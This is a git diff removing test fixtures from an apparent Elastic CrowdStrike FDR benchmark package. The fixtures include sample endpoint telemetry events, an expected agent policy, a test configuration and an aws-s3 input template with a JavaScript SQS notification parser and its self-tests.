-                    "win10-qwe-3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Defense Evasion"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Obfuscated Files or Information"
-                    ]
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-08-19T21:24:04.187Z",
-            "crowdstrike": {
-                "AssemblyFlags": "0",
-                "AssemblyId": "1825020243168",
-                "AssemblyName": "vezhsq1h, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null",
-                "ConfigStateHash": "3064617115",
-                "ContextProcessId": "11708829302",
-                "ContextTimeStamp": "2025-08-19T21:23:57.713Z",
-                "DotnetModuleFlags": "8",
-                "DotnetModuleId": "140707789195504",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EtwProviderType": "2",
-                "EventOrigin": "1",
-                "ImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
-                "ModuleILPath": "vezhsq1h",
-                "id": "b089f099-ffac-44fd-9efe-e1bc148214ee",
-                "name": "ReflectiveDotnetModuleLoadV2"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "dll": {
-                "name": "powershell.exe"
-            },
-            "event": {
-                "action": "ReflectiveDotnetModuleLoad",
-                "category": [
-                    "library"
-                ],
-                "created": "2025-08-19T21:24:04.187Z",
-                "id": "b089f099-ffac-44fd-9efe-e1bc148214ee|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ReflectiveDotnetModuleLoad\",\"AssemblyName\":\"vezhsq1h, Version\\u003d0.0.0.0, Culture\\u003dneutral, PublicKeyToken\\u003dnull\",\"ModuleNativePath\":\"\",\"NativePdbBuildPath\":\"\",\"event_platform\":\"Win\",\"DotnetModuleFlags\":\"8\",\"DotnetModuleId\":\"140707789195504\",\"EventOrigin\":\"1\",\"id\":\"b089f099-ffac-44fd-9efe-e1bc148214ee\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1755638644187\",\"ManagedPdbBuildPath\":\"\",\"ContextTimeStamp\":\"1755638637.713\",\"ConfigStateHash\":\"3064617115\",\"ContextProcessId\":\"11708829302\",\"AssemblyFlags\":\"0\",\"EtwProviderType\":\"2\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\"\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"Entitlements\":\"15\",\"name\":\"ReflectiveDotnetModuleLoadV2\",\"AssemblyId\":\"1825020243168\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"ModuleILPath\":\"vezhsq1h\"}",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ReflectiveDotnetModuleLoad",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "args": [
-                    "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
-                ],
-                "args_count": 1,
-                "command_line": "\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"",
-                "entity_id": "11708829302"
-            },
-            "related": {
-                "hash": [
-                    "3064617115"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-11T13:33:38.983Z",
-            "crowdstrike": {
-                "AuthenticationId": "996",
-                "ConfigStateHash": "3591479077",
-                "ContextProcessId": "90332841484",
-                "ContextTimeStamp": "2025-09-11T13:33:38.424Z",
-                "DesiredAccess": "2097151",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "HandleCreated": "0",
-                "IntegrityLevel": "16384",
-                "TargetAuthenticationId": "996",
-                "TargetIntegrityLevel": "16384",
-                "id": "87902694-15af-4692-b1e2-bf7fba80b272",
-                "name": "SuspiciousPrivilegedProcessHandleV2"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "event": {
-                "action": "SuspiciousPrivilegedProcessHandle",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-09-11T13:33:38.983Z",
-                "id": "87902694-15af-4692-b1e2-bf7fba80b272|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"SuspiciousPrivilegedProcessHandle\",\"IntegrityLevel\":\"16384\",\"ContextThreadId\":\"1217210494023\",\"TargetIntegrityLevel\":\"16384\",\"event_platform\":\"Win\",\"SuspiciousHandleOpenReason\":\"2\",\"EventOrigin\":\"1\",\"id\":\"87902694-15af-4692-b1e2-bf7fba80b272\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757597618983\",\"ContextTimeStamp\":\"1757597618.424\",\"ConfigStateHash\":\"3591479077\",\"ContextProcessId\":\"90332841484\",\"AuthenticationId\":\"996\",\"ConfigBuild\":\"1007.3.0019907.15\",\"TargetProcessId\":\"90365065195\",\"DesiredAccess\":\"2097151\",\"Entitlements\":\"15\",\"name\":\"SuspiciousPrivilegedProcessHandleV2\",\"ComputerName\":\"win10-qwe-3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"TargetAuthenticationId\":\"996\"}",
-                "reason": "2",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "hostname": "win10-qwe-3",
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "name": "win10-qwe-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SuspiciousPrivilegedProcessHandle",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "Ext": {
-                    "token": {
-                        "integrity_level_name": "SYSTEM"
-                    }
-                },
-                "entity_id": "90365065195",
-                "thread": {
-                    "id": 1217210494023
-                }
-            },
-            "related": {
-                "hash": [
-                    "3591479077"
-                ],
-                "hosts": [
-                    "win10-qwe-3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected
deleted file mode 100644
index ea1547544d..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected
+++ /dev/null
@@ -1,250 +0,0 @@
-inputs:
-    - data_stream:
-        namespace: ep
-      meta:
-        package:
-            name: crowdstrike
-      name: test-default-crowdstrike
-      streams:
-        - data_stream:
-            dataset: crowdstrike.fdr
-          fields:
-            _conf:
-                enable_deduplication: false
-                long_fields: index_long_fields
-                long_fields_max_length: 1024
-                prune_fields: true
-          fields_under_root: true
-          max_number_of_messages: 5
-          number_of_workers: 5
-          processors:
-            - add_locale: null
-            - decode_json_fields:
-                fields: message
-                target: crowdstrike
-            - else:
-                - else:
-                    - cache:
-                        backend:
-                            file:
-                                id: aidmaster
-                        get:
-                            ignore_missing: true
-                            key_field: crowdstrike.aid
-                            target_field: metadata.host
-                    - cache:
-                        backend:
-                            file:
-                                id: userinfo
-                        get:
-                            ignore_missing: true
-                            key_field: crowdstrike.UserSid
-                            target_field: metadata.user
-                  if:
-                    contains:
-                        log.file.path: userinfo
-                  then:
-                    - cache:
-                        backend:
-                            capacity: 0
-                            file:
-                                id: userinfo
-                                write_interval: 0
-                        put:
-                            ignore_missing: true
-                            key_field: crowdstrike.UserSid_readable
-                            ttl: 168h
-                            value_field: crowdstrike
-                    - drop_event:
-                        when:
-                            contains:
-                                log.file.path: userinfo
-              if:
-                contains:
-                    log.file.path: aidmaster
-              then:
-                - cache:
-                    backend:
-                        capacity: 0
-                        file:
-                            id: aidmaster
-                            write_interval: 0
-                    put:
-                        ignore_missing: true
-                        key_field: crowdstrike.aid
-                        ttl: 168h
-                        value_field: crowdstrike
-                - drop_event:
-                    when:
-                        contains:
-                            log.file.path: aidmaster
-            - drop_fields:
-                fields:
-                    - crowdstrike
-          publisher_pipeline.disable_host: true
-          queue_url: ""
-          sqs.notification_parsing_script.source: |
-            function parse(n) {
-              var m = JSON.parse(n);
-              var evts = [];
-              var files = m.files;
-              var bucket = m.bucket;
-              var records = m.Records;
-              var message = m.Message;
-              var topic_arn = m.TopicArn;
-              // Checks if not FDR queue
-              if (!Array.isArray(files) || (files.length == 0) || bucket == null || bucket == "") {
-                // Checks if event notification is S3 -> SQS or S3 -> SNS -> SQS.
-                if ((records != null && records.length != 0) || (message != null && topic_arn != null)) {
-                  // When notification is from S3 -> SNS -> SQS, records need to be extracted from message.
-                  if (records == null || records.length == 0) {
-                    var p = JSON.parse(message);
-                    records = p.Records;
-                  }
-                  if (records != null && records.length != 0) {
-                    records.forEach(function(f){
-                      if (f.s3 && f.s3.bucket && f.s3.bucket.name && f.s3.object && f.s3.object.key) {
-                        var evt = new S3EventV2();
-                        evt.SetS3BucketName(f.s3.bucket.name);
-                        evt.SetS3ObjectKey(f.s3.object.key);
-                        if (f.s3.bucket.arn) {
-                          evt.SetS3BucketARN(f.s3.bucket.arn);
-                        }
-                        if (f.awsRegion) {
-                          evt.SetAWSRegion(f.awsRegion);
-                        }
-                        if (f.eventName) {
-                          evt.SetEventName(f.eventName);
-                        }
-                        if (f.eventSource) {
-                          evt.SetEventSource(f.eventSource);
-                        }
-                        evts.push(evt);
-                      }
-                    });
-                  }
-                }
-                // Checks if event notification is S3 -> EventBridge -> SQS
-                else if (m.detail != null && m.detail.bucket != null && m.detail.object != null && m.detail.bucket.name != null && m.detail.object.key != null) {
-                  var evt = new S3EventV2();
-                  evt.SetS3BucketName(m.detail.bucket.name);
-                  evt.SetS3ObjectKey(m.detail.object.key);
-                  if (Array.isArray(m.resources) && m.resources.length > 0) {
-                    evt.SetS3BucketARN(m.resources[0]);
-                  }
-                  if (m.source != null && m.source == "aws.s3") {
-                    evt.SetEventSource("aws:s3");
-                  }
-                  if (m['detail-type'] == "Object Created") {
-                    evt.SetEventName("ObjectCreated:Put");
-                  }
-                  evts.push(evt);
-                }
-              } else {
-                // FDR queue
-                files.sort(function(a, b) {
-                  var isMetadata = function(a) {
-                    return a.path && ((a.path.indexOf("aidmaster") !== -1) || (a.path.indexOf("userinfo") !== -1));
-                  };
-                  var cmp = function(a, b) {
-                    if (a < b) {
-                      return -1;
-                    }
-                    if (a > b) {
-                      return 1;
-                    }
-                    return 0;
-                  };
-                  if (isMetadata(a) === isMetadata(b)) {
-                    return cmp(a.path, b.path);
-                  }
-                  if (isMetadata(a)) {
-                    return -1;
-                  }
-                  return 1;
-                });
-                files.forEach(function(f){
-                  var evt = new S3EventV2();
-                  evt.SetS3BucketName(bucket);
-                  evt.SetS3ObjectKey(f.path);
-                  evts.push(evt);
-                });
-              }
-              return evts;
-            }
-            function test() {
-              // Test FDR queue
-              var fdrEvents = parse("{\"bucket\":\"fdrBucket\",\"files\":[{\"path\":\"prefix/aidmaster\",\"size\":89118480,\"checksum\":\"d0f566f37295e46f28c75f71ddce9422\"},{\"path\":\"prefix/data\"}]}");
-              if (fdrEvents.length !== 2) {
-                throw "expecting two events";
-              }
-              if (fdrEvents[0].S3.Bucket.Name !== "fdrBucket") {
-                  throw "expected bucket === fdrBucket";
-              }
-              if (fdrEvents[0].S3.Object.Key !== "prefix/aidmaster") {
-                  throw "expected object key === prefix/aidmaster";
-              }
-              if (fdrEvents[1].S3.Object.Key !== "prefix/data") {
-                  throw "expected object key === prefix/data";
-              }
-              // Test S3 -> SQS
-              var sqsEvents = parse("{\"Records\":[{\"eventVersion\":\"2.1\",\"eventSource\":\"aws:s3\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2025-05-27T11:38:32.511Z\",\"eventName\":\"ObjectCreated:Put\",\"userIdentity\":{\"principalId\":\"AWS:DKASHW31673218\"},\"requestParameters\":{\"sourceIPAddress\":\"81.2.69.142\"},\"responseElements\":{\"x-amz-request-id\":\"adqw312EASDS\",\"x-amz-id-2\":\"SD312ESDAD/ASDASDQX1E21XE/6aeP0eHq4aYCvF\"},\"s3\":{\"s3SchemaVersion\":\"1.0\",\"configurationId\":\"test-sqs-cs-s3-evt-notif-sqs\",\"bucket\":{\"name\":\"test-sqs-cs-s3\",\"ownerIdentity\":{\"principalId\":\"321DSAVDW2E1\"},\"arn\":\"arn:aws:s3:::test-sqs-cs-s3\"},\"object\":{\"key\":\"fdr-sample.log\",\"size\":114782,\"eTag\":\"41cdbd1843a4c49ef0255e2ccd48cb9d\",\"sequencer\":\"006835A4387B4406AF\"}}}]}");
-              if (sqsEvents.length !== 1) {
-                throw "expecting one events";
-              }
-              if (sqsEvents[0].S3.Bucket.Name !== "test-sqs-cs-s3") {
-                  throw "expected bucket === test-sqs-cs-s3";
-              }
-              if (sqsEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-sqs-cs-s3") {
-                  throw "expected Bucket ARN === arn:aws:s3:::test-sqs-cs-s3";
-              }
-              if (sqsEvents[0].S3.Object.Key !== "fdr-sample.log") {
-                  throw "expected object key === fdr-sample.log";
-              }
-              // Test S3 -> SNS -> SQS
-              var snsEvents = parse("{\"Type\": \"Notification\",\"MessageId\": \"1066e639-8697-5211-9bbe-86a369b14af5\",\"TopicArn\": \"arn:aws:sns:us-east-2:11111111111:test-crowds-sns\",\"Subject\": \"Amazon S3 Notification\",\"Message\": \"{\\\"Records\\\":[{\\\"eventVersion\\\":\\\"2.1\\\",\\\"eventSource\\\":\\\"aws:s3\\\",\\\"awsRegion\\\":\\\"us-east-2\\\",\\\"eventTime\\\":\\\"2025-05-11T18:31:01.609Z\\\",\\\"eventName\\\":\\\"ObjectCreated:Put\\\",\\\"userIdentity\\\":{\\\"principalId\\\":\\\"AWS:PRINCIPALID\\\"},\\\"requestParameters\\\":{\\\"sourceIPAddress\\\":\\\"81.2.69.192\\\"},\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"dsaddwqdqd\\\",\\\"x-amz-id-2\\\":\\\"w1esdasdadpY=\\\"},\\\"s3\\\":{\\\"s3SchemaVersion\\\":\\\"1.0\\\",\\\"configurationId\\\":\\\"test-crowds-s3-notif\\\",\\\"bucket\\\":{\\\"name\\\":\\\"test-crowds-s3-buck\\\",\\\"ownerIdentity\\\":{\\\"principalId\\\":\\\"asdascedqwdq\\\"},\\\"arn\\\":\\\"arn:aws:s3:::test-crowds-s3-buck\\\"},\\\"object\\\":{\\\"key\\\":\\\"fdr-0_userinfo.log\\\",\\\"size\\\":489,\\\"eTag\\\":\\\"349c96ed5531edce2233ad417123736d\\\",\\\"sequencer\\\":\\\"006820ECE595B767EC\\\"}}}]}\",\"Timestamp\": \"2025-05-11T18:31:02.037Z\",\"SignatureVersion\": \"1\",\"Signature\": \"W131adsfwefQSF223SAsdddsaas+dsdadfadqweweweaxaDSCQQW==\",\"SigningCertURL\": \"https://sns.us-east-2.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem\",\"UnsubscribeURL\": \"https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:11111111111:test-crowds-sns:c2e6ff87-e009-4694-866a-5ceb79691a01\"}");
-              if (snsEvents.length !== 1) {
-                throw "expecting one events";
-              }
-              if (snsEvents[0].S3.Bucket.Name !== "test-crowds-s3-buck") {
-                  throw "expected bucket === test-crowds-s3-buck";
-              }
-              if (snsEvents[0].AWSRegion !== "us-east-2") {
-                  throw "expected AWS region === us-east-2";
-              }
-              // Test S3 -> EventBridge -> SQS
-              var ebEvents = parse("{\"version\":\"0\",\"id\":\"78fee647-ef01-0e61-507f-d19baef343f5\",\"detail-type\":\"Object Created\",\"source\":\"aws.s3\",\"account\":\"11111111111\",\"time\":\"2025-05-11T19:26:39Z\",\"region\":\"ap-south-1\",\"resources\":[\"arn:aws:s3:::test-eb-crowds-s3-buck\"],\"detail\":{\"version\":\"0\",\"bucket\":{\"name\":\"test-eb-crowds-s3-buck\"},\"object\":{\"key\":\"fdr-0_aidmaster.log\",\"size\":4414,\"etag\":\"a06a88462e6950f0be3bb83230047e87\",\"sequencer\":\"006820F9EF8D8284D4\"},\"request-id\":\"321987SDASD1W9\",\"requester\":\"11111111111\",\"source-ip-address\":\"89.160.20.128\",\"reason\":\"PutObject\"}}");
-              if (ebEvents.length !== 1) {
-                throw "expecting one events";
-              }
-              if (ebEvents[0].S3.Bucket.Name !== "test-eb-crowds-s3-buck") {
-                  throw "expected bucket === test-eb-crowds-s3-buck";
-              }
-              if (ebEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-eb-crowds-s3-buck") {
-                  throw "expected Bucket ARN === arn:aws:s3:::test-eb-crowds-s3-buck";
-              }
-              if (ebEvents[0].S3.Object.Key !== "fdr-0_aidmaster.log") {
-                  throw "expected object key === fdr-0_aidmaster.log";
-              }
-            }
-          tags:
-            - preserve_original_event
-            - forwarded
-            - crowdstrike-fdr
-      type: aws-s3
-      use_output: default
-output_permissions:
-    default:
-        _elastic_agent_checks:
-            cluster:
-                - monitor
-        _elastic_agent_monitoring:
-            indices: []
-        uuid-for-permissions-on-related-indices:
-            indices:
-                - names:
-                    - logs-crowdstrike.fdr-ep
-                  privileges:
-                    - auto_configure
-                    - create_doc
-secret_references: []
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml
deleted file mode 100644
index 7595be8d1b..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-vars:
-  url: http://host.tld
-  client_id: test_client_id
-  client_secret: test_client_secret
-  token_url: http://host.tld/oauth2/token
-data_stream:
-  vars:
-    queue_url: ""
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml
deleted file mode 100644
index 8c4c210dbb..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-input: aws-s3
-skip_ignored_fields:
-  - crowdstrike.ConfigStateData
-  - crowdstrike.FeatureVector
-  - crowdstrike.OSVersionFileData
-  - process.command_line
-data_stream:
-  vars:
-    access_key_id: "{{AWS_ACCESS_KEY_ID}}"
-    secret_access_key: "{{AWS_SECRET_ACCESS_KEY}}"
-    session_token: "{{AWS_SESSION_TOKEN}}"
-    queue_url: "{{TF_OUTPUT_queue_url}}"
-    preserve_original_event: true
-    enable_deduplication: true
-assert:
-  hit_count: 127
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs
deleted file mode 100644
index c2c2153f9e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs
+++ /dev/null
@@ -1,283 +0,0 @@
-queue_url: {{queue_url}}
-{{#if credential_profile_name}}
-credential_profile_name: {{credential_profile_name}}
-{{/if}}
-{{#if shared_credential_file}}
-shared_credential_file: {{shared_credential_file}}
-{{/if}}
-{{#if visibility_timeout}}
-visibility_timeout: {{visibility_timeout}}
-{{/if}}
-{{#if api_timeout}}
-api_timeout: {{api_timeout}}
-{{/if}}
-{{#if max_number_of_messages}}
-max_number_of_messages: {{max_number_of_messages}}
-{{/if}}
-{{#if number_of_workers}}
-number_of_workers: {{number_of_workers}}
-{{/if}}
-{{#if endpoint}}
-endpoint: {{endpoint}}
-{{/if}}
-{{#if default_region}}
-default_region: {{default_region}}
-{{/if}}
-{{#if access_key_id}}
-access_key_id: {{access_key_id}}
-{{/if}}
-{{#if secret_access_key}}
-secret_access_key: {{secret_access_key}}
-{{/if}}
-{{#if session_token}}
-session_token: {{session_token}}
-{{/if}}
-{{#if role_arn}}
-role_arn: {{role_arn}}
-{{/if}}
-{{#if fips_enabled}}
-fips_enabled: {{fips_enabled}}
-{{/if}}
-{{#if proxy_url }}
-proxy_url: {{proxy_url}}
-{{/if}}
-sqs.notification_parsing_script.source: |
-  function parse(n) {
-    var m = JSON.parse(n);
-    var evts = [];
-    var files = m.files;
-    var bucket = m.bucket;
-    var records = m.Records;
-    var message = m.Message;
-    var topic_arn = m.TopicArn;
-    // Checks if not FDR queue
-    if (!Array.isArray(files) || (files.length == 0) || bucket == null || bucket == "") {
-      // Checks if event notification is S3 -> SQS or S3 -> SNS -> SQS.
-      if ((records != null && records.length != 0) || (message != null && topic_arn != null)) {
-        // When notification is from S3 -> SNS -> SQS, records need to be extracted from message.
-        if (records == null || records.length == 0) {
-          var p = JSON.parse(message);
-          records = p.Records;
-        }
-        if (records != null && records.length != 0) {
-          records.forEach(function(f){
-            if (f.s3 && f.s3.bucket && f.s3.bucket.name && f.s3.object && f.s3.object.key) {
-              var evt = new S3EventV2();
-              evt.SetS3BucketName(f.s3.bucket.name);
-              evt.SetS3ObjectKey(f.s3.object.key);
-              if (f.s3.bucket.arn) {
-                evt.SetS3BucketARN(f.s3.bucket.arn);
-              }
-              if (f.awsRegion) {
-                evt.SetAWSRegion(f.awsRegion);
-              }
-              if (f.eventName) {
-                evt.SetEventName(f.eventName);
-              }
-              if (f.eventSource) {
-                evt.SetEventSource(f.eventSource);
-              }
-              evts.push(evt);
-            }
-          });
-        }
-      }
-      // Checks if event notification is S3 -> EventBridge -> SQS
-      else if (m.detail != null && m.detail.bucket != null && m.detail.object != null && m.detail.bucket.name != null && m.detail.object.key != null) {
-        var evt = new S3EventV2();
-        evt.SetS3BucketName(m.detail.bucket.name);
-        evt.SetS3ObjectKey(m.detail.object.key);
-        if (Array.isArray(m.resources) && m.resources.length > 0) {
-          evt.SetS3BucketARN(m.resources[0]);
-        }
-        if (m.source != null && m.source == "aws.s3") {
-          evt.SetEventSource("aws:s3");
-        }
-        if (m['detail-type'] == "Object Created") {
-          evt.SetEventName("ObjectCreated:Put");
-        }
-        evts.push(evt);
-      }
-    } else {
-      // FDR queue
-      files.sort(function(a, b) {
-        var isMetadata = function(a) {
-          return a.path && ((a.path.indexOf("aidmaster") !== -1) || (a.path.indexOf("userinfo") !== -1));
-        };
-        var cmp = function(a, b) {
-          if (a < b) {
-            return -1;
-          }
-          if (a > b) {
-            return 1;
-          }
-          return 0;
-        };
-        if (isMetadata(a) === isMetadata(b)) {
-          return cmp(a.path, b.path);
-        }
-        if (isMetadata(a)) {
-          return -1;
-        }
-        return 1;
-      });
-      files.forEach(function(f){
-        var evt = new S3EventV2();
-        evt.SetS3BucketName(bucket);
-        evt.SetS3ObjectKey(f.path);
-        evts.push(evt);
-      });
-    }
-    return evts;
-  }
-  function test() {
-    // Test FDR queue
-    var fdrEvents = parse("{\"bucket\":\"fdrBucket\",\"files\":[{\"path\":\"prefix/aidmaster\",\"size\":89118480,\"checksum\":\"d0f566f37295e46f28c75f71ddce9422\"},{\"path\":\"prefix/data\"}]}");
-    if (fdrEvents.length !== 2) {
-      throw "expecting two events";
-    }
-    if (fdrEvents[0].S3.Bucket.Name !== "fdrBucket") {
-        throw "expected bucket === fdrBucket";
-    }
-    if (fdrEvents[0].S3.Object.Key !== "prefix/aidmaster") {
-        throw "expected object key === prefix/aidmaster";
-    }
-    if (fdrEvents[1].S3.Object.Key !== "prefix/data") {
-        throw "expected object key === prefix/data";
-    }
-    // Test S3 -> SQS
-    var sqsEvents = parse("{\"Records\":[{\"eventVersion\":\"2.1\",\"eventSource\":\"aws:s3\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2025-05-27T11:38:32.511Z\",\"eventName\":\"ObjectCreated:Put\",\"userIdentity\":{\"principalId\":\"AWS:DKASHW31673218\"},\"requestParameters\":{\"sourceIPAddress\":\"81.2.69.142\"},\"responseElements\":{\"x-amz-request-id\":\"adqw312EASDS\",\"x-amz-id-2\":\"SD312ESDAD/ASDASDQX1E21XE/6aeP0eHq4aYCvF\"},\"s3\":{\"s3SchemaVersion\":\"1.0\",\"configurationId\":\"test-sqs-cs-s3-evt-notif-sqs\",\"bucket\":{\"name\":\"test-sqs-cs-s3\",\"ownerIdentity\":{\"principalId\":\"321DSAVDW2E1\"},\"arn\":\"arn:aws:s3:::test-sqs-cs-s3\"},\"object\":{\"key\":\"fdr-sample.log\",\"size\":114782,\"eTag\":\"41cdbd1843a4c49ef0255e2ccd48cb9d\",\"sequencer\":\"006835A4387B4406AF\"}}}]}");
-    if (sqsEvents.length !== 1) {
-      throw "expecting one events";
-    }
-    if (sqsEvents[0].S3.Bucket.Name !== "test-sqs-cs-s3") {
-        throw "expected bucket === test-sqs-cs-s3";
-    }
-    if (sqsEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-sqs-cs-s3") {
-        throw "expected Bucket ARN === arn:aws:s3:::test-sqs-cs-s3";
-    }
-    if (sqsEvents[0].S3.Object.Key !== "fdr-sample.log") {
-        throw "expected object key === fdr-sample.log";
-    }
-    // Test S3 -> SNS -> SQS
-    var snsEvents = parse("{\"Type\": \"Notification\",\"MessageId\": \"1066e639-8697-5211-9bbe-86a369b14af5\",\"TopicArn\": \"arn:aws:sns:us-east-2:11111111111:test-crowds-sns\",\"Subject\": \"Amazon S3 Notification\",\"Message\": \"{\\\"Records\\\":[{\\\"eventVersion\\\":\\\"2.1\\\",\\\"eventSource\\\":\\\"aws:s3\\\",\\\"awsRegion\\\":\\\"us-east-2\\\",\\\"eventTime\\\":\\\"2025-05-11T18:31:01.609Z\\\",\\\"eventName\\\":\\\"ObjectCreated:Put\\\",\\\"userIdentity\\\":{\\\"principalId\\\":\\\"AWS:PRINCIPALID\\\"},\\\"requestParameters\\\":{\\\"sourceIPAddress\\\":\\\"81.2.69.192\\\"},\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"dsaddwqdqd\\\",\\\"x-amz-id-2\\\":\\\"w1esdasdadpY=\\\"},\\\"s3\\\":{\\\"s3SchemaVersion\\\":\\\"1.0\\\",\\\"configurationId\\\":\\\"test-crowds-s3-notif\\\",\\\"bucket\\\":{\\\"name\\\":\\\"test-crowds-s3-buck\\\",\\\"ownerIdentity\\\":{\\\"principalId\\\":\\\"asdascedqwdq\\\"},\\\"arn\\\":\\\"arn:aws:s3:::test-crowds-s3-buck\\\"},\\\"object\\\":{\\\"key\\\":\\\"fdr-0_userinfo.log\\\",\\\"size\\\":489,\\\"eTag\\\":\\\"349c96ed5531edce2233ad417123736d\\\",\\\"sequencer\\\":\\\"006820ECE595B767EC\\\"}}}]}\",\"Timestamp\": \"2025-05-11T18:31:02.037Z\",\"SignatureVersion\": \"1\",\"Signature\": \"W131adsfwefQSF223SAsdddsaas+dsdadfadqweweweaxaDSCQQW==\",\"SigningCertURL\": \"https://sns.us-east-2.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem\",\"UnsubscribeURL\": \"https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:11111111111:test-crowds-sns:c2e6ff87-e009-4694-866a-5ceb79691a01\"}");
-    if (snsEvents.length !== 1) {
-      throw "expecting one events";
-    }
-    if (snsEvents[0].S3.Bucket.Name !== "test-crowds-s3-buck") {
-        throw "expected bucket === test-crowds-s3-buck";
-    }
-    if (snsEvents[0].AWSRegion !== "us-east-2") {
-        throw "expected AWS region === us-east-2";
-    }
-    // Test S3 -> EventBridge -> SQS
-    var ebEvents = parse("{\"version\":\"0\",\"id\":\"78fee647-ef01-0e61-507f-d19baef343f5\",\"detail-type\":\"Object Created\",\"source\":\"aws.s3\",\"account\":\"11111111111\",\"time\":\"2025-05-11T19:26:39Z\",\"region\":\"ap-south-1\",\"resources\":[\"arn:aws:s3:::test-eb-crowds-s3-buck\"],\"detail\":{\"version\":\"0\",\"bucket\":{\"name\":\"test-eb-crowds-s3-buck\"},\"object\":{\"key\":\"fdr-0_aidmaster.log\",\"size\":4414,\"etag\":\"a06a88462e6950f0be3bb83230047e87\",\"sequencer\":\"006820F9EF8D8284D4\"},\"request-id\":\"321987SDASD1W9\",\"requester\":\"11111111111\",\"source-ip-address\":\"89.160.20.128\",\"reason\":\"PutObject\"}}");
-    if (ebEvents.length !== 1) {
-      throw "expecting one events";
-    }
-    if (ebEvents[0].S3.Bucket.Name !== "test-eb-crowds-s3-buck") {
-        throw "expected bucket === test-eb-crowds-s3-buck";
-    }
-    if (ebEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-eb-crowds-s3-buck") {
-        throw "expected Bucket ARN === arn:aws:s3:::test-eb-crowds-s3-buck";
-    }
-    if (ebEvents[0].S3.Object.Key !== "fdr-0_aidmaster.log") {
-        throw "expected object key === fdr-0_aidmaster.log";
-    }
-  }
-{{#if tags.length}}
-tags:
-{{else}}
-{{#if preserve_original_event}}
-tags:
-{{/if}}
-{{/if}}
-{{#if preserve_original_event}}
-  - preserve_original_event
-{{/if}}
